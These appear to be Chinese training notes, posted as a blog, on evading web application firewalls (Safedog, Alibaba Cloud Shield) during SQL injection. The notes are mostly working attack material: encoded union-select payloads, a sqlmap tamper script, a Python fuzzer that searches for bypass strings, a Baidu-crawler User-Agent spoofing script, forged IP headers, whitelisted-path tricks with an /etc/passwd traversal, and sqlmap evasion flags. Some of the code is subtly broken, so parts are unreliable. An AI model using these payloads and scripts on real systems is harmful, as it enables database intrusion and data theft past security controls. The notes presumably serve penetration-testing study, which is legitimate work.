第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第1张图片

数据库特性(补充)

%23x%0aunion%23x%0Aselect%201,2,3

%20/!44509union/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/

%20union%20all%23%0a%20select%201,2,3%23

/*!50001 select * from test /;
这里的 !50001表示假如数据库是5.00.01以上版本,select * from test 语句才会被推行
因此固然你的mysqldump出来的成立view的语句在解释里,实际.上它是会被推行的
假如是一下内容,就不会推行了,那是真正的解释了
/
select * from test */;

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第2张图片

FUZZ绕过脚本

`#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):
    
#%23a%0aunion/*!44575select*/1,2,3
	if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
			for xiaodiss in aaa:
				for two in range(44500,44600):
					urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
					#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
					try:
						result=requests.get(urls).text
						len_r=len(result)
						if (result.find('safedog')==-1):
							#print('bypass url addreess:'+urls+'|'+str(len_r))
							 print('bypass url addreess:'+urls+'|'+str(len_r))
						if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0.1)
if__name__=='__main__':
	print('fuzz strat!')
	bypass()
    
    

伪装百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls.headers=head).status_code
    print(urls+'|'+str(code))

利用白名单,修改user-agent ,伪装搜索引擎爬虫,绕过waf

搜索引擎爬虫蜘蛛的User-Agent

简要其他绕过方式学习

白名单

IP白名单

通过对网站ip地址的伪造,知道对方网站ip地址,那就默认为ip地址为白名单。

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的ip,这样就饿可能存在伪造ip绕过的情况。

测试方法:修改http的header来by pass waf

X-forwarded-for

X-remote-IP

X-remote-addr

X-Real-IP

静态资源

特定的静态资源后缀请求,常见的静态文件(.js、.jpg、.swf、.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://127.0.0.1/sql.php?id=1

http://127.0.0.1/sql.php/1.js?id=1

url白名单(老版本waf)

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:

http://127.0.0.1/sql.php/admin/php?id=1

http://127.0.0.1/sql.php?a=/manage/&b=…/etc/passwd

http://127.0.0.1/…/…/…/manage/…/sql.asp?id=2

waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。

爬虫白名单(不是注入绕过而是扫描绕过经常用到)

伪装成搜索引擎

部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

1.根据UserAgent

2.通过行为来判断

FUZZ绕过脚本结合编写测试

Fuzz脚本的编写

阿里云盾防SQL注入简要分析

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第3张图片

使用sqlmap跑过之后阿里云盾会对二次请求进行拦截

开启安全狗,使用sqlmap发现未报出注入点

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第4张图片

这时就需要使用到sqlmap的脚本文件(自带大概率无法达到目的),脚本文件存在temper文件夹中

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第5张图片

想使用的话还是需要自己编写脚本

安全狗+云盾SQL注入插件脚本编写

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第6张图片

直接使用脚本是无法跑来的,抓包到本地分析一下

在这里插入图片描述

User-Agent显示的是sqlmap的信息

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第7张图片

此时安全狗上面会有拦截记录,分析可知是HTTP请求头User-agent的原因
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第8张图片

并且漏洞防护规则也开启了工具拦截

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第9张图片

根据这些我们知道了拦截原因:通过请求头及指纹库,识别出是使用工具sqlmap对网站进行了恶意扫描,所以进行了拦截

比如User-Agent改为其他比如(1)就没有进行拦截
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第10张图片

当然在使用sqlmap时可以加上参数–random agent(随机出现字母头)
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第11张图片

在这里插入图片描述

可以使用burp查看sqlmap的注入语句

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第12张图片

表名出现了
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第13张图片

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第14张图片

如果安全狗开启流量防护

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第15张图片

sqlmap的速度过快,所以会被拦截
在这里插入图片描述

解决方法:

添加延时参数 --delay参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FBA69AsH-1646278490403)(QQ截图20220303112407.png)]

–delay 1 延迟1秒

使用代理池

随机出IP

更改请求头,添加http白名单 浏览器请求头 --user-Agent=" "

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OcTLgQOf-1646278490405)(QQ截图20220303111808.png)]

发现请求正常无拦截

在这里插入图片描述

如果需要更改的数据不是User-Agent

使用burp的intrude模块(修改单个数据包可以,多了还是自己写脚本比较容易)
第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第16张图片

自己编写

第19天-WEB漏洞-SQL注入之SQLMAP绕过WAF_第17张图片

然后使用TXT文本里的数据包注入

在这里插入图片描述

sqlmap去注入本地的脚本地址 -> 本地搭建脚本(请求数据包自定义编写) -> 远程地址

参考笔记

你可能感兴趣的:(前端,sql,web安全)